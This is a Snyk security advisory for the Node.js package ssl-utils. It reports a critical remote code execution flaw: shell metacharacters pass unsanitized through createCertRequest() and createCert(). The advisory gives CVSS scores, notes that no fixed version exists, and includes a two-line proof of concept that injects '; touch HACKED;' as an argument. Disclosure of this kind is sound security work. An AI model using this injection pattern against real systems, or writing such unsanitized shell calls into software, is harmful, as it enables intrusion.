Remote Code Execution (RCE) Affecting ssl-utils package, versions *


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.41% (75th percentile)

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  • Snyk ID SNYK-JS-SSLUTILS-2859201
  • published 6 Jun 2022
  • disclosed 3 Jun 2022
  • credit Adar Zandberg

How to fix?

There is no fixed version for ssl-utils.

Overview

ssl-utils is a Node.js utility for SSL certificates using OpenSSL (generating, verifying, etc.)

Affected versions of this package are vulnerable to Remote Code Execution (RCE) via unsanitized shell metacharacters provided to the createCertRequest() and the createCert() functions.

PoC:

var ssl = require('ssl-utils');
ssl.createCertRequest({}, "; touch HACKED; ", "", ()=>{})
// or:
ssl.createCert({}, "; touch HACKED; ", "", "", "", () => {})

References

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
9.8 critical
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

9.8 critical